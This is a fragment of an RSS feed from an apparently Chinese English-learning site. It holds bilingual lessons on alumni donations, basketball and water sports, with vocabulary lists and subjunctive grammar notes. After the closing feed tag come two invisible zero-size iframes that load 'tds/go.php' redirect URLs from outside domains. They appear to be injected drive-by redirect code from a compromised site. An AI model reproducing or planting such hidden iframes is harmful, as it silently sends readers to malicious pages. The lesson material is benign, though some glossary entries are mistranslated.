<p>从广义上来讲，兄弟会是一群有着共同目的和兴趣或者有着相似背景、职业和品位的人组织的一个团体。从狭义上来说，它主要是学院或大学里男生的主要社会组织，通常以希腊字母命名。</p>
<p>Donation from Alumni</p>
<p>Donations from alumni have consistently accounted for about a quarter of all university donations. By 2003, alumni donations across all U.S. universities have become on average the largest source of donations and in 2005 have risen to 26.6% of university donations.</p>
<p>校友捐赠</p>
<p>校友捐赠几乎占据了大学捐赠的四分之一。2003年，全美国大学的校友捐赠平均已经是全部捐赠的最大来源。在2005年，占到了大学捐赠的26.6%。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/01/95en-twenty-fifth-lesson-tutorial-spoken-college-association/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第二十四课：Playing Basketball</title>
		<link>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-fourth-lesson-playing-basketball/</link>
		<comments>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-fourth-lesson-playing-basketball/#comments</comments>
		<pubDate>Sun, 15 Jan 2012 14:01:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=476</guid>
		<description><![CDATA[本杰明和泰瑞准备着打一场篮球，各种准备活动做完后，比赛就开始了。比赛结果怎样呢？最后又有什么意外发生了呢？
Benjamin: Hey, Terry, have all the players got here?
Terry: Yeah, most of them have arrived. Don&#8217;t worry. There are still 20 minutes left before the match.
Benjamin: OK. By the way, the stadium is terrific.
Terry: Of course. It&#8217;s a newly-built one.
Benjamin: We are lucky to play in a new stadium.
(20 minutes later the match begins. Terry [...]]]></description>
			<content:encoded><![CDATA[<p>本杰明和泰瑞准备着打一场篮球，各种准备活动做完后，比赛就开始了。比赛结果怎样呢？最后又有什么意外发生了呢？</p>
<p>Benjamin: Hey, Terry, have all the players got here?</p>
<p>Terry: Yeah, most of them have arrived. Don&#8217;t worry. There are still 20 minutes left before the match.</p>
<p>Benjamin: OK. By the way, the stadium is terrific.</p>
<p>Terry: Of course. It&#8217;s a newly-built one.</p>
<p>Benjamin: We are lucky to play in a new stadium.</p>
<p>(20 minutes later the match begins. Terry and Benjamin are on the same team.)</p>
<p>Terry: Hurry up, Benjamin! Pass the ball to me. I&#8217;m good at shooting.</p>
<p>Benjamin: Look out. Catch the ball. You should dunk besides the three-point line.</p>
<p>(Terry takes a shot and the referee whistles.)</p>
<p>Terry: Oh, God! I didn&#8217;t touch anybody. How can I commit a foul?</p>
<p>Benjamin: Just calm down. It&#8217;s just a turnover. Make up your mind and we can shoot well.</p>
<p>Terry: Yes, I got it. Come on, Benjamin, don&#8217;t let him get into the paint.</p>
<p>Benjamin: No problem, I once played a 2-meter-high player successfully.</p>
<p>Terry: Really? You must be…</p>
<p>Benjamin: But that game he dunked over me for 13 times.</p>
<p>Terry: That&#8217;s interesting. Let&#8217;s hurry up, we should beat them in the first half.</p>
<p>Benjamin: Oh, look, what&#8217;s happened to Jack? He sat down.</p>
<p>Terry: He may be injured. Yes, come on, call the team doctor.</p>
<p>本杰明:嗨，泰瑞，大家都到齐了吗？</p>
<p>泰瑞:嗯，大部分人都到了。别担心，离比赛开始还差20分钟呢！</p>
<p>本杰明:好的，顺便说一下，这体育场真不错。</p>
<p>泰瑞:当然了，这可是新建成的。</p>
<p>本杰明:可以在新体育场里打球，我们真是太新运了。</p>
<p>（20分钟后比赛开始了，泰瑞和本杰明在同一个组。）</p>
<p>泰瑞:加油，本杰明。把球传给我，我擅长射篮。</p>
<p>本杰明:当心，接住球，你应该在3分线旁边投篮。</p>
<p>（泰瑞刚射篮裁判就吹哨。）</p>
<p>泰瑞:天哪！我没有碰任何人，我怎么可能犯规呢？</p>
<p>本杰明:冷静下来，这只是一个失误。打起精神来，我们能打得挺好。</p>
<p>泰瑞:嗯，我知道了。加油，本杰明，不要让他进入内线。</p>
<p>本杰明:没问题，我曾经成功的防守一个2米高的球员。</p>
<p>泰瑞:真的吗？你肯定……</p>
<p>本杰明:但是他在我头上射了13次。</p>
<p>泰瑞:真有趣。我们加油吧，我们在上半场打败他们。</p>
<p>本杰明:哎呀，看，杰克怎么了？他坐下了。</p>
<p>泰瑞:他可能受伤了。是的，快点，叫队医。</p>
<p>经典背诵 Recitation<br />
Daniel: I want to learn the butterfly stroke, and I think it&#8217;s a little case. However, the first step makes me feel terrible. The water goes down into my throat and I almost drown. I think I&#8217;m not the right person for swimming, but Mom always cheers me up. It&#8217;s the first step that&#8217;s tough.</p>
<p>生词小结<br />
shooting n. 投篮</p>
<p>dunk vt. 扣篮</p>
<p>referee n. 裁判</p>
<p>commit a foul 犯规</p>
<p>turnover n. 失球</p>
<p>词汇扩展 Vocabulary Builder<br />
关于篮球术语的词汇</p>
<p>基础词汇</p>
<p>assist 助攻</p>
<p>back court 后场</p>
<p>dead ball 死球</p>
<p>foul 犯规</p>
<p>free throw 罚球</p>
<p>front court 前场</p>
<p>scoring 得分</p>
<p>提高词汇</p>
<p>backboard 篮球</p>
<p>block shot 阻攻</p>
<p>freethrow line 罚球线</p>
<p>jump shot 跳投</p>
<p>mid-court 中场</p>
<p>three-point line 三分线</p>
<p>three-point shot 三分球</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-fourth-lesson-playing-basketball/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第二十三课：Swimming Events</title>
		<link>http://www.95en.com/2012/01/95en-twenty-third-class-spoken-tutorial-swimming-events/</link>
		<comments>http://www.95en.com/2012/01/95en-twenty-third-class-spoken-tutorial-swimming-events/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 14:02:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=473</guid>
		<description><![CDATA[人类开始参与水上运动可以追溯到历史被记载之前。那是伴随着工业发展和人类体能进步的一段历史。
The history of man&#8217;s involvement with water sports stretches back before history was written down. It is a history of the development of technology as well as human physical achievement. Man first took to water in boats that sailed around the world with nothing but the stars to guide them. The seas and rivers were [...]]]></description>
			<content:encoded><![CDATA[<p>人类开始参与水上运动可以追溯到历史被记载之前。那是伴随着工业发展和人类体能进步的一段历史。</p>
<p>The history of man&#8217;s involvement with water sports stretches back before history was written down. It is a history of the development of technology as well as human physical achievement. Man first took to water in boats that sailed around the world with nothing but the stars to guide them. The seas and rivers were a mystery to be feared, for lurked unknown creatures and death by drowning. Few actually ventured into the water. This changed as time went on. As a sport, however, water sports such as swimming, diving, and water polo are new comparatively to those on land. Probably the oldest one is rowing in a rowboat. This is seen in modern games such as competitions between rowing clubs in British and American universities. Olympic Water Sports began with swimming but did not end there. Olympic swimming began in the same year that the modern Olympic Games began in 1896. Yet, swimming as a sport can be traced at least back to the 16th century. The different kinds of water sports such as diving or water skiing came much later. Diving is especially important for China as many Chinese divers are the best in the world. Water games for fun are also a part of everyday life. If people live around water that they can swim or play in, these will be integrated into the culture. Many cultures have a tradition of water sports. While it is still an element that is dangerous and with which we wish to measure our courage, water is no longer a thing of mystery. It has become a medium through which we can enjoy our lives.</p>
<p>人类开始参与水上运动可以追溯到历史被记载之前。那是伴随着工业发展和人类体能进步的一段历史。人类第一次乘船环游世界的时候什么都没有带，只有星星为其指引方向。海洋和河流是令人生畏的谜，因为那里潜伏着不为人知的生物和被淹没而死亡的危险。很少有人敢真正地冒险下水。随着时间的推移，情况发生了变化。然而，作为一项运动，水上运动相对于陆地运动来说是新鲜的，例如游泳、跳水和水球。或许其中最古老的运动就是划船。这项运动在现代比赛中常可看到，例如英美校际俱乐部间的划船比赛。奥林匹克水上运动始于游泳但却不止于此。奥林匹克游泳运动始于现代奥林匹克开始的同一年，1896年。然而游泳作为一项竞技运动至少可以追溯到16世纪。不同种类的水上运动则出现得晚得多，例如跳水和滑水运动。跳水运动在中国占有重要地位，中国有很多跳水运动员都是世界的顶级选手。为了娱乐的水上运动也是人们日常生活的一个组成部分。如果人们住在水边，他们就可以去游泳或在水里嬉戏，这也会融入当地的文化中。许多文化都包含水上运动的传统。尽管它仍然是一个危险的因素，而我们却可以用它来衡量自己的勇气，况且水已经不再是一个神秘的事物。水已经成为一种媒介，通过它我们可以享受生活。</p>
<p>Grammar 语法小结<br />
虚拟语气</p>
<p>虚拟语气在从句中的用法很广，在宾语从句中有以下两种常用虚拟语气。</p>
<p>1． wish 后的宾语从句中谓语主要有两种形式，一种用过去时表示现在情况，一种用过去完成时表示过去情况</p>
<p>I wish I could help you. 但愿我能帮助你。</p>
<p>I wish I had more time. 但愿我有多的时间。</p>
<p>I wish I had listened to your advice. 我要是听了你的劝告就好了。</p>
<p>She wished she hadn&#8217;t come. 她但愿自己没有来。</p>
<p>2． suggest, demand, ask 这类动词后面的宾语从句多用虚拟语气</p>
<p>He suggested that we (should ) do like that. 他建议我们应该像那样做。</p>
<p>She demanded that I (should) pay her at once. 她要求我马上付款。</p>
<p>He asks that he (should) be given more. 他要求给多些。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/01/95en-twenty-third-class-spoken-tutorial-swimming-events/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
